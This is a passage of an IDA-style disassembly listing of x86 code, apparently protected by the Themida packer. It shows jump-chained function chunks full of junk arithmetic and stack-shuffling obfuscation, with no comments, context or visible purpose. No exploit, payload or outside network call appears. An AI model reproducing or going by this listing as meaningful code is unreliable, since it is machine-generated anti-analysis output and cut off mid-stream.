		mov	[esp-18h+arg_14], ebx
		mov	ebx, esp
		jmp	loc_562777
; ---------------------------------------------------------------------------


loc_571F51:				; CODE XREF: sub_55EDA7+B3A8j
		add	ecx, 4
		jmp	loc_56D5FD
; ---------------------------------------------------------------------------


loc_571F5C:				; CODE XREF: sub_55EDA7+D90Dj
		xor	ebx, edx
		jmp	loc_56EB6D
; ---------------------------------------------------------------------------


loc_571F63:				; CODE XREF: sub_55EDA7+9749j
		pop	ebx
		add	esp, 4
		pop	[esp-1Ch+arg_18]
		mov	esp, [esp-20h+arg_1C]
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_571F76:				; CODE XREF: sub_55EDA7+422j
		pop	ebx
		add	esp, 4
		and	ebx, ebp
		mov	ebp, [esp+10h+var_12+2]
		add	esp, 4
		push	edx
		mov	edx, 7C7B57D0h
		neg	edx
		jmp	loc_5717C4
; ---------------------------------------------------------------------------


loc_571F92:				; CODE XREF: sub_55EDA7+5841j
		sub	eax, 511D2A50h
		add	eax, edx
		add	eax, 511D2A50h
		pop	edx
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		push	eax
		push	[esp-16h+arg_14+2]
		pop	eax
		pop	[esp-16h+arg_10+2]
		jmp	loc_55E39B
; ---------------------------------------------------------------------------


loc_571FB6:				; CODE XREF: sub_55EDA7-A08j
		mov	bl, 22h
		and	bl, 0Ch
		push	small 3532h
		mov	word ptr [esp+1Ah+var_1A], cx
		jmp	loc_569F23
; ---------------------------------------------------------------------------


loc_571FC8:				; CODE XREF: sub_55EDA7+3485j
		shl	ebx, 4
		inc	ebx
		xor	ebx, 20820015h
		jmp	loc_55EEC4
; ---------------------------------------------------------------------------


loc_571FD7:				; CODE XREF: sub_55EDA7+FAFEj
		mov	ebp, [esp-8+arg_4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		jmp	loc_5680F1
; ---------------------------------------------------------------------------


loc_571FF6:				; CODE XREF: sub_55EDA7+B8C9j
		inc	edi
		add	edi, 0E4246093h
		sub	eax, edi
		mov	edi, [esp-24h+arg_20]
		add	esp, 4
		xchg	eax, [esp-28h+arg_24]
		pop	esp
		mov	word ptr [esp-2Ch+arg_28], dx
		push	20D3h
		mov	[esp-28h+arg_24], ebx
		push	edx
		mov	dh, 76h
		jmp	loc_565A0F
; ---------------------------------------------------------------------------


loc_572020:				; CODE XREF: sub_55EDA7+1359Aj
		mov	edi, [esp-24h+arg_20]
		add	esp, 4
		jmp	loc_56BA0D
; ---------------------------------------------------------------------------


loc_57202E:				; CODE XREF: sub_55EDA7+139FEj
		sub	esi, 3A76D78Dh
		or	ebx, esi
		pop	esi
		push	edx
		mov	edx, 0A5988015h
		push	eax
		mov	eax, 0A4F70D0h
		not	eax
		add	eax, 0F10A869h
		add	ebx, eax
		pop	eax
		add	ebx, edx
		push	eax
		mov	eax, 2E5044A8h
		xor	eax, 2A917330h
		jmp	loc_570EEE
; ---------------------------------------------------------------------------


loc_57205F:				; CODE XREF: sub_55EDA7+10D6j
		or	eax, ebp
		pop	ebp
		shl	eax, 4
		shr	eax, 2
		sub	eax, 0D34800D9h
		push	edx
		mov	edx, 6C1B2A94h
		push	ecx
		mov	ecx, 4885472Bh
		jmp	loc_55E54B
; ---------------------------------------------------------------------------


loc_57207E:				; CODE XREF: sub_55EDA7+B06j
		xchg	edx, [esp-12h+arg_C+2]
		mov	esp, [esp-12h+arg_C+2]
		jmp	loc_5640C1
; ---------------------------------------------------------------------------


loc_572089:				; CODE XREF: sub_55EDA7+A480j
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		sub	esp, 4
		mov	[esp+26h+var_26], edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp+26h+var_26]
		add	esp, 4
		push	0CE0h
		mov	[esp+26h+var_26], esi
		push	ebp
		jmp	loc_565CE5
; ---------------------------------------------------------------------------


loc_5720B3:				; CODE XREF: sub_55EDA7+1E92j
		shl	edx, 5
		jmp	loc_565625
; ---------------------------------------------------------------------------


loc_5720BB:				; CODE XREF: sub_55EDA7+1208j
		pop	ebp
		sub	esp, 4
		mov	[esp+0], edx
		jmp	loc_55FF1C
; ---------------------------------------------------------------------------


loc_5720C7:				; CODE XREF: sub_55EDA7+12A41j
		xor	[esp-10h+arg_C], edi
		xor	edi, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		mov	[esp-10h+arg_C], ecx
		jmp	loc_567E60
; ---------------------------------------------------------------------------


loc_5720D8:				; CODE XREF: sub_55EDA7+B79Ej
		sub	ecx, 2007487Fh
		jmp	loc_56998D
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D5F2


loc_5720E3:				; CODE XREF: sub_56D5F2+4F2Bj
		mov	edx, 66904FE7h
		sub	edx, 240AD800h
		sub	edi, 3FCF5B66h
		sub	edi, edx
		push	eax
		mov	eax, 3FCF5B66h
		add	edi, eax
		pop	eax
		pop	edx
		sub	ecx, edi
		jmp	loc_568B23
; END OF FUNCTION CHUNK	FOR sub_56D5F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_572107:				; CODE XREF: sub_55EDA7+D452j
		add	edx, 4
		xchg	edx, [esp+12h+var_12]
		pop	esp
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_572113:				; CODE XREF: sub_55EDA7+5728j
		pop	ebp
		push	edi
		mov	edi, 6C92347h
		add	[esp+0Ch+var_8], edi
		mov	edi, [esp+0Ch+var_E+2]
		add	esp, 4
		add	[esp+8+var_8], 3219277Eh
		add	[esp+8+var_8], eax
		sub	[esp+8+var_8], 3219277Eh
		jmp	loc_564D36
; ---------------------------------------------------------------------------


loc_57213A:				; CODE XREF: sub_55EDA7+45B7j
		push	2
		pop	eax
		add	ebp, eax
		pop	eax
		jmp	loc_56EFA9
; ---------------------------------------------------------------------------


loc_572148:				; CODE XREF: sub_55EDA7+12A8Bj
		pop	eax
		jmp	loc_572941
; ---------------------------------------------------------------------------


loc_57214E:				; CODE XREF: sub_55EDA7+15D6j
		and	dl, 9Fh
		add	dl, 0FFh
		push	ecx
		push	small 5A3Fh
		mov	word ptr [esp-0Eh+arg_8+2], bx
		mov	bh, 0Dh
		mov	ch, bh
		jmp	loc_572B3D
; ---------------------------------------------------------------------------


loc_572166:				; CODE XREF: sub_55EDA7+1EE5j
		push	esi
		mov	esi, 41957867h
		xor	esi, 1B56750Ch
		dec	esi
		jmp	loc_56ECFB
; ---------------------------------------------------------------------------


loc_572178:				; CODE XREF: sub_55EDA7+7C5Fj
		push	[esp+1Eh+var_1A]
		pop	esi
		pop	[esp+1Eh+var_1E]
		jmp	loc_570337
; ---------------------------------------------------------------------------


loc_572185:				; CODE XREF: sub_55EDA7+9C1Bj
		xchg	ecx, edx
		inc	ecx
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		jmp	loc_56641E
; ---------------------------------------------------------------------------


loc_572193:				; CODE XREF: sub_55EDA7-1A8j
		add	ebx, eax
		jmp	loc_5679BD
; ---------------------------------------------------------------------------


loc_57219A:				; CODE XREF: sub_55EDA7+7A18j
		sub	esi, 1010E3h
		jmp	loc_566441
; ---------------------------------------------------------------------------


loc_5721A5:				; CODE XREF: sub_55EDA7+9B56j
		add	esp, 4
		or	bl, dl
		pop	edx
		jmp	loc_55FD95
; ---------------------------------------------------------------------------


loc_5721B3:				; CODE XREF: sub_55EDA7+5B50j
		and	eax, edx
		pop	edx
		or	eax, eax
		jnz	loc_56815F
		push	eax
		mov	eax, 11230D1Eh
		push	ebx
		mov	ebx, 7F3428A4h
		and	eax, ebx
		pop	ebx
		push	ebp
		push	ecx
		push	esi
		push	3EB91721h
		pop	esi
		jmp	loc_56E99D
; ---------------------------------------------------------------------------


loc_5721DB:				; CODE XREF: sub_55EDA7+6FEEj
		push	edx
		mov	dh, al
		push	ecx
		mov	ch, dh
		mov	bl, ch
		pop	ecx
		jmp	loc_56D424
; ---------------------------------------------------------------------------


loc_5721E9:				; CODE XREF: sub_55EDA7+11F9Aj
		push	esi
		mov	esi, 3601506Dh
		sub	esi, 4DB42EB6h
		and	esi, 7E7F6CD0h
		and	esi, 65450DEDh
		shl	esi, 4
		push	ebx
		mov	ebx, 3DDA48C4h
		jmp	loc_56E04E
; ---------------------------------------------------------------------------


loc_57220F:				; CODE XREF: sub_55EDA7+C89Bj
		push	esi
		push	[esp+30h+var_2E+2]
		mov	esi, [esp+34h+var_36+2]
		add	esp, 4
		pop	[esp+30h+var_32+2]
		mov	esp, [esp+2Ch+var_2E+2]
		imul	ecx, eax
		jmp	loc_5699FD
; ---------------------------------------------------------------------------


loc_57222B:				; CODE XREF: sub_55EDA7+B512j
		push	esi
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp+10h+var_12+2]
		add	esp, 4
		xchg	ecx, [esp+0Ch+var_E+2]
		pop	esp
		or	[edi+1Ch], esi
		pop	esi
		jmp	loc_562BDA
; ---------------------------------------------------------------------------


loc_572246:				; CODE XREF: sub_55EDA7+CC95j
		push	edx
		push	esp
		mov	edx, [esp]
		jmp	loc_56C3EA
; ---------------------------------------------------------------------------


loc_572250:				; CODE XREF: sub_55EDA7+282Aj
		sub	bl, 9Dh
		jmp	loc_5637A8
; ---------------------------------------------------------------------------


loc_572258:				; CODE XREF: sub_55EDA7+DF5Aj
		dec	ebx
		or	ebx, 0D100486h
		or	ebx, 28C5152Dh
		push	ebp
		mov	ebp, 78FE5664h
		jmp	loc_56FCC7
; ---------------------------------------------------------------------------


loc_572270:				; CODE XREF: sub_55EDA7+1158Bj
		add	[esp-1Ch+arg_18], 4
		push	[esp-1Ch+arg_18]
		pop	edi
		jmp	loc_56DD91
; ---------------------------------------------------------------------------


loc_57227D:				; CODE XREF: sub_55EDA7+12D5Bj
		xchg	ebp, [esp+14h+var_16+2]
		pop	esp
		add	ebp, 2
		xor	ebp, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], ebp
		xor	ebp, [esp+10h+var_12+2]
		mov	esp, [esp+10h+var_12+2]
		rol	word ptr [esp+10h+var_12+2], cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_57229D:				; CODE XREF: sub_55EDA7+F82j
		pop	eax
		mov	ecx, esi
		pop	esi
		and	eax, ecx
		jmp	loc_5713EC
; ---------------------------------------------------------------------------


loc_5722A8:				; CODE XREF: sub_55EDA7+1014Ej
		mov	[esp-6+arg_0+2], edx
		push	ecx
		mov	ecx, 3D92300h
		sub	ecx, 299A1399h
		or	ecx, 4F3D63E3h
		or	ecx, 243E3E3Ch
		shr	ecx, 1
		or	ecx, 123D132Eh
		sub	ecx, 51535146h
		push	esi
		mov	esi, ecx
		mov	edx, esi
		pop	esi
		jmp	loc_568B08
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F61C


loc_5722DC:				; CODE XREF: sub_56F61C+11j
		mov	eax, esi
		mov	esi, [esp-4+arg_0]
		push	0F1Bh
		mov	[esp+0], ebx
		mov	ebx, esp
		jmp	sub_570F48
; END OF FUNCTION CHUNK	FOR sub_56F61C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5722F0:				; CODE XREF: sub_55EDA7+97C8j
		mov	dl, 69h
		add	al, dl
		pop	dx
		push	70C7h
		jmp	loc_56E769
; ---------------------------------------------------------------------------


loc_572300:				; CODE XREF: sub_55EDA7+4D7Ej
		mov	ebx, [esp+26h+var_26]
		jmp	loc_568633
; ---------------------------------------------------------------------------


loc_572308:				; CODE XREF: sub_55EDA7+6F78j
		mov	esi, 57DA76A1h
		sub	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+0Ch+var_E+2], ecx
		jmp	loc_564F26
; ---------------------------------------------------------------------------


loc_57231E:				; CODE XREF: sub_55EDA7+9DC6j
		push	eax
		mov	esi, [esp+0]
		add	esp, 4
		mov	ebp, esi
		pop	esi
		push	ebp
		push	esi
		jmp	loc_56F2D8
; ---------------------------------------------------------------------------


loc_572332:				; CODE XREF: sub_55EDA7+12F71j
		push	4FE4h
		mov	[esp-6+arg_0+2], edi
		mov	edi, 3AF4522Dh
		add	ebp, edi
		jmp	loc_572020
; ---------------------------------------------------------------------------


loc_572346:				; CODE XREF: sub_55EDA7+12843j
		add	ecx, 0A581890h
		sub	eax, ecx
		jmp	loc_563D47
; ---------------------------------------------------------------------------


loc_572353:				; CODE XREF: sub_55EDA7+CA9Ej
		add	esp, 4
		mov	eax, [esp-24h+arg_20]
		add	esp, 4
		jmp	loc_5681DF
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_572364	proc near		; CODE XREF: sub_55EDA7+91D9j
		push	ebx
		jmp	loc_567420
sub_572364	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E8D8


loc_57236A:				; CODE XREF: sub_55E8D8+36j
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		or	[edi+1Ch], ebx
		push	[esp-4+arg_0]
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_561C23
; END OF FUNCTION CHUNK	FOR sub_55E8D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_572382:				; CODE XREF: sub_55EDA7+279Fj
		pop	ebx
		pop	[esp+34h+var_36+2]
		mov	esp, [esp+30h+var_32+2]
		jmp	loc_5632B3
; ---------------------------------------------------------------------------


loc_57238E:				; CODE XREF: sub_55EDA7+1055Dj
		push	ebx
		jmp	loc_568AC5
; ---------------------------------------------------------------------------


loc_572394:				; CODE XREF: sub_55EDA7+8913j
		xor	eax, 1FAB0BBFh
		add	ecx, eax
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		push	esi
		mov	esi, 2B8175B1h
		sub	esi, 0E7D04182h
		jmp	loc_56A3EF
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_5723B5	proc near		; DATA XREF: Themida_:0055DFD8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056DF0D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00570B79 SIZE 0000000C BYTES

		push	dword ptr [esp+0]
		mov	ecx, [esp+4+var_4]
		push	edx
		mov	edx, esp
		jmp	loc_56DF0D
sub_5723B5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5723C3:				; CODE XREF: sub_55EDA7+15Bj
		push	[esp+1Ch+var_1A+2]
		jmp	loc_5712BC
; ---------------------------------------------------------------------------


loc_5723CC:				; CODE XREF: sub_55EDA7+8B38j
		mov	al, 0C9h
		add	al, 1
		push	ecx
		jmp	loc_568826
; ---------------------------------------------------------------------------


loc_5723D6:				; CODE XREF: sub_55EDA7+FF6j
		xor	bl, cl
		pop	ecx
		sub	bl, 0C0h
		xor	al, bl
		push	[esp-20h+arg_1C]
		mov	ebx, [esp-1Ch+arg_18]
		add	esp, 4
		push	ebp
		jmp	loc_56B259
; ---------------------------------------------------------------------------


loc_5723ED:				; CODE XREF: sub_55EDA7+A8D2j
		xchg	edx, [esp+8+var_8]
		pop	esp
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		jmp	loc_5718BF
; ---------------------------------------------------------------------------


loc_5723FF:				; CODE XREF: sub_55EDA7+C97Ej
		add	esp, 4
		shl	eax, cl
		push	ebx
		sub	esp, 4
		jmp	loc_55F0A6
; ---------------------------------------------------------------------------


loc_572410:				; CODE XREF: sub_55EDA7+84CEj
		push	edi
		mov	edi, 11B7236Ch
		sub	eax, edi
		pop	edi
		add	eax, ecx
		jmp	loc_56F189
; ---------------------------------------------------------------------------


loc_572420:				; CODE XREF: sub_55EDA7+11A7Bj
		xor	eax, ecx
		push	eax
		jmp	sub_56EB11
; ---------------------------------------------------------------------------


loc_572428:				; CODE XREF: sub_55EDA7+B4C2j
		pop	esp
		pop	edi
		push	ecx
		push	2CE01445h
		mov	ecx, [esp-18h+arg_14]
		add	esp, 4
		shl	ecx, 8
		xor	ecx, 822E4F7Ch
		mov	ebp, ecx
		pop	ecx
		xor	ebp, ecx
		pop	ecx
		xor	eax, ebp
		push	[esp-24h+arg_20]
		mov	ebp, [esp-20h+arg_1C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-1Ch+arg_18]
		pop	esp
		jmp	loc_568E76
; ---------------------------------------------------------------------------


loc_572465:				; CODE XREF: sub_55EDA7-2A4j
		push	1DE13152h
		pop	esi
		neg	esi
		jmp	loc_57179D
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F4DD


loc_572472:				; CODE XREF: sub_56F4DD+Fj
		or	[edi+1Ch], ecx
		jmp	loc_56AE28
; END OF FUNCTION CHUNK	FOR sub_56F4DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_57247A:				; CODE XREF: sub_55EDA7+9310j
		push	[esp-10h+arg_C]
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5693C3
; ---------------------------------------------------------------------------


loc_57248C:				; CODE XREF: sub_55EDA7+E45j
		push	edx
		mov	dl, 3Ch
		jmp	loc_560D62
; ---------------------------------------------------------------------------


loc_572494:				; CODE XREF: sub_55EDA7+E265j
		pop	edi
		shl	ebx, 1
		shr	ebx, 1
		sub	esp, 4
		mov	[esp-20h+arg_1C], esi
		jmp	loc_56EF8D
; ---------------------------------------------------------------------------


loc_5724A4:				; CODE XREF: sub_55EDA7+11CFj
		mov	eax, 30174127h
		push	ebp
		mov	ebp, 5D167BC7h
		push	1182h
		mov	[esp+0], esi
		mov	esi, 459F518Dh
		and	esi, 45F90AA3h
		sub	esi, 427B46C0h
		shr	esi, 4
		jmp	loc_56AE2E
; ---------------------------------------------------------------------------


loc_5724D0:				; CODE XREF: sub_55EDA7+2424j
		pop	ecx
		push	ebp
		push	eax
		mov	eax, 4
		jmp	loc_564708
; ---------------------------------------------------------------------------


loc_5724DD:				; CODE XREF: sub_55EDA7+B09Fj
		xor	ebx, 1EF04FA4h
		push	edx
		jmp	loc_562AD9
; ---------------------------------------------------------------------------


loc_5724E9:				; CODE XREF: sub_55EDA7+540Cj
		pop	esp
		push	ecx
		jmp	loc_56F64C
; ---------------------------------------------------------------------------


loc_5724F0:				; CODE XREF: sub_55EDA7+114FFj
		add	ecx, 0FFFFFFFFh
		shl	ecx, 5
		sub	ecx, 1B995A94h
		jmp	loc_56AF5B
; ---------------------------------------------------------------------------


loc_572504:				; CODE XREF: sub_55EDA7+BA7Ej
		add	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp-18h+arg_14], esi
		jmp	loc_568CD0
; ---------------------------------------------------------------------------


loc_572512:				; CODE XREF: sub_55EDA7+ED49j
		and	bh, 2Fh
		jmp	loc_567D60
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D5F2


loc_57251A:				; CODE XREF: sub_56D5F2+6j
		mov	[esp+4+var_4], edx
		jmp	loc_5720E3
; END OF FUNCTION CHUNK	FOR sub_56D5F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_572522:				; CODE XREF: sub_55EDA7+61BCj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+34h+var_36+2]
		jmp	loc_571D78
; ---------------------------------------------------------------------------


loc_572536:				; CODE XREF: sub_55EDA7-B15j
		push	eax
		jmp	loc_56B556
; ---------------------------------------------------------------------------


loc_57253C:				; CODE XREF: sub_55EDA7+A2DDj
		push	esp
		pop	esi
		push	78CEh
		jmp	loc_57040C
; ---------------------------------------------------------------------------


loc_572548:				; CODE XREF: sub_55EDA7+D345j
		shl	edi, 4
		add	edi, 87196BA8h
		xor	eax, edi
		pop	edi
		jmp	loc_56EBDC
; ---------------------------------------------------------------------------


loc_572559:				; CODE XREF: sub_55EDA7+87C4j
		xor	dword ptr [esp+0], 4B163C8Dh
		mov	ebp, [esp+0]
		add	esp, 4
		xor	ebp, 4B163C8Dh
		push	ebp
		jmp	loc_5668B4
; ---------------------------------------------------------------------------


loc_572572:				; CODE XREF: sub_55EDA7+3892j
		push	ecx
		mov	ch, bl
		push	ebx
		mov	bh, ch
		mov	[edi+eax*4], bh
		pop	ebx
		mov	ecx, [esp-16h+arg_10+2]
		add	esp, 4
		jmp	loc_56D8C5
; ---------------------------------------------------------------------------


loc_572587:				; CODE XREF: sub_55EDA7+6350j
		mov	[esp+2Ch+var_2E+2], edx
		push	[esp+2Ch+var_2A+2]
		mov	edx, [esp+30h+var_32+2]
		jmp	loc_56290D
; ---------------------------------------------------------------------------


loc_572596:				; CODE XREF: sub_55EDA7+10AA0j
		pop	ebp
		jmp	sub_56D5F2
; ---------------------------------------------------------------------------


loc_57259C:				; CODE XREF: sub_55EDA7+6406j
		mov	esi, [esp+5Ch+var_5C]
		push	ebp
		push	esp
		mov	ebp, [esp+64h+var_64]
		add	esp, 4
		jmp	loc_563276
; ---------------------------------------------------------------------------


loc_5725AF:				; CODE XREF: sub_55EDA7+A569j
		inc	esi
		add	esi, 287E2CB0h
		mov	eax, esi
		mov	esi, [esp+1Ah+var_1A]
		add	esp, 4
		and	eax, 1D22919h
		shr	eax, 4
		jmp	loc_56FACE
; ---------------------------------------------------------------------------


loc_5725CE:				; CODE XREF: sub_55EDA7+305Dj
		sub	bl, 0E7h
		add	bl, 0CCh
		jmp	loc_564561
; ---------------------------------------------------------------------------


loc_5725D9:				; CODE XREF: sub_55EDA7+5D29j
		add	esi, eax
		pop	eax
		sub	esi, edi
		push	edi
		mov	edi, 2F6F1DF9h
		sub	esi, edi
		pop	edi
		jmp	loc_570D56
; ---------------------------------------------------------------------------


loc_5725EC:				; CODE XREF: sub_55EDA7-98Aj
		mov	[esp+1Ch+var_1E+2], ebx
		mov	ebx, 0BE11109Ch
		jmp	loc_56E5AA
; ---------------------------------------------------------------------------


loc_5725F9:				; CODE XREF: sub_55EDA7+5DBCj
		pop	ebx
		jmp	loc_569E8F
; ---------------------------------------------------------------------------


loc_5725FF:				; CODE XREF: sub_55EDA7+3833j
		add	ebx, esi
		sub	ebx, 40876DA0h
		pop	esi
		pop	small word ptr [eax]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_572610:				; CODE XREF: sub_55EDA7+C841j
		xor	ebx, 52006F45h
		jmp	loc_5707D7
; ---------------------------------------------------------------------------


loc_57261B:				; CODE XREF: sub_55EDA7+FEB7j
		pop	eax
		neg	eax
		sub	eax, 0E72AF1AEh
		add	esi, eax
		push	[esp+4+var_4]
		pop	eax
		sub	esp, 4
		jmp	loc_56DCFC
; ---------------------------------------------------------------------------


loc_572631:				; CODE XREF: sub_55EDA7+EDD3j
		pop	ebx
		shr	ebx, 1
		shr	ebx, 8
		add	ebx, 0FFD55D76h
		mov	ebp, ebx
		pop	ebx
		sub	edi, 1D71581Bh
		add	edi, ebp
		add	edi, 1D71581Bh
		pop	ebp
		push	139h
		jmp	loc_56FDE8
; ---------------------------------------------------------------------------


loc_572659:				; CODE XREF: sub_55EDA7+9A9Cj
		pop	edi
		xchg	eax, [esp+10h+var_12+2]
		mov	esp, [esp+10h+var_12+2]
		push	3C58h
		jmp	loc_5675F0
; ---------------------------------------------------------------------------


loc_57266A:				; CODE XREF: sub_55EDA7+3D46j
		add	eax, 4FE74D15h
		add	eax, ebx
		sub	eax, 4FE74D15h
		pop	ebx
		push	3CC9h
		jmp	loc_56E6AF
; ---------------------------------------------------------------------------


loc_572681:				; CODE XREF: sub_55EDA7+8822j
		add	edi, ecx
		pop	ecx
		add	edi, edx
		jmp	loc_564931
; ---------------------------------------------------------------------------


loc_57268B:				; CODE XREF: sub_55EDA7+BA55j
		mov	[esp+24h+var_26+2], eax
		push	1F86h
		jmp	loc_55E60A
; ---------------------------------------------------------------------------


loc_572698:				; CODE XREF: sub_55EDA7+5594j
		mov	edx, 4A5D7AFEh
		add	ebx, 1C648Dh
		jmp	loc_56C943
; ---------------------------------------------------------------------------


loc_5726A8:				; CODE XREF: sub_55EDA7+D9F0j
		add	edx, 4
		xchg	edx, [esp+6+var_8+2]
		jmp	loc_56974E
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_5726B6	proc near		; DATA XREF: Themida_:0055E104o
		mov	ax, [esp+0]
		jmp	loc_56325D
sub_5726B6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5726BF:				; CODE XREF: sub_55EDA7+A260j
		push	esi
		not	[esp+44h+var_46+2]
		jmp	loc_56D17B
; ---------------------------------------------------------------------------


loc_5726C8:				; CODE XREF: sub_55EDA7+36FFj
		push	edx
		mov	edx, 525F6309h
		xor	edi, edx
		pop	edx
		push	edx
		mov	edx, 63DC71C1h
		inc	edx
		jmp	loc_560AC4
; ---------------------------------------------------------------------------


loc_5726DD:				; CODE XREF: sub_55EDA7+6168j
		add	ecx, 60CF32C3h
		shr	ecx, 7
		push	edx
		mov	edx, 59684609h
		add	ecx, 136B1F27h
		jmp	loc_566B0C
; ---------------------------------------------------------------------------


loc_5726F7:				; CODE XREF: sub_55EDA7+9568j
		mov	dh, 0E2h
		jmp	loc_56F4CB
; ---------------------------------------------------------------------------


loc_5726FE:				; CODE XREF: sub_55EDA7+51C0j
		add	esp, 4
		xchg	ebp, [esp+2Ch+var_2E+2]
		pop	esp
		jmp	loc_563D39
; ---------------------------------------------------------------------------


loc_57270A:				; CODE XREF: sub_55EDA7+F352j
		xor	edi, 91A6037h
		mov	ebx, edi
		pop	edi
		add	ebx, 0FFFFFFFFh
		sub	ebx, 0E9FA0D30h
		add	ecx, ebx
		jmp	loc_564CFE
; ---------------------------------------------------------------------------


loc_572723:				; CODE XREF: sub_55EDA7+10EADj
		push	[esp+34h+var_36+2]
		pop	ebx
		jmp	loc_56CF15
; ---------------------------------------------------------------------------


loc_57272C:				; CODE XREF: sub_55EDA7+80F3j
		add	edx, 22000FA3h
		or	ecx, edx
		pop	edx
		jmp	loc_5636D0
; ---------------------------------------------------------------------------


loc_57273A:				; CODE XREF: sub_55EDA7+118DFj
		sub	edx, eax
		jmp	loc_571E1C
; ---------------------------------------------------------------------------


loc_572741:				; CODE XREF: sub_55EDA7+1298Aj
		not	bx
		push	di
		mov	di, 928Ch
		xor	bx, di
		pop	di
		add	si, bx
		pop	ebx
		sub	si, bp
		sub	si, 6DF2h
		pop	ebp
		xor	ax, si
		push	[esp-1Ch+arg_18]
		mov	esi, [esp-18h+arg_14]
		jmp	loc_55F706
; ---------------------------------------------------------------------------


loc_57276A:				; CODE XREF: sub_55EDA7+96FBj
		mov	ecx, 47031A49h
		jmp	loc_5709DF
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_572774:				; CODE XREF: Themida_:0056F70Fj
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	esp
		jmp	loc_56D9ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_57278F:				; CODE XREF: sub_55EDA7+4571j
		or	esi, 75B601D5h
		neg	esi
		neg	esi
		and	esi, 6F0E3033h
		sub	esi, 1254B09Ah
		jmp	loc_57202E
; ---------------------------------------------------------------------------


loc_5727AA:				; CODE XREF: sub_55EDA7+10F5Bj
		xor	edi, 29725860h
		add	edx, edi
		pop	edi
		push	[esp+0Ch+var_E+2]
		jmp	loc_56DB7F
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_560F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5727D1:				; CODE XREF: sub_55EDA7+B936j
		sub	[esp+1Ch+var_1A+2], edx
		pop	edx
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], edi
		push	edx
		mov	edx, 56EA492Ah
		jmp	loc_55E92D
; ---------------------------------------------------------------------------


loc_5727EA:				; CODE XREF: sub_55EDA7+8136j
		push	[esp-6+arg_0+2]
		pop	ebp
		add	esp, 4
		pop	ecx
		pop	edx
		jmp	loc_5658C0
; ---------------------------------------------------------------------------


loc_5727FB:				; CODE XREF: sub_55EDA7+116D3j
		mov	edx, esp
		jmp	loc_562FA5
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_572802	proc near		; CODE XREF: sub_55EDA7+26E3j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], eax
		push	2BEDh
		mov	[esp+4+var_4], esp
		push	esi
		push	3656h
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 7C63280Bh
		add	ebx, 65516150h
		shr	ebx, 6
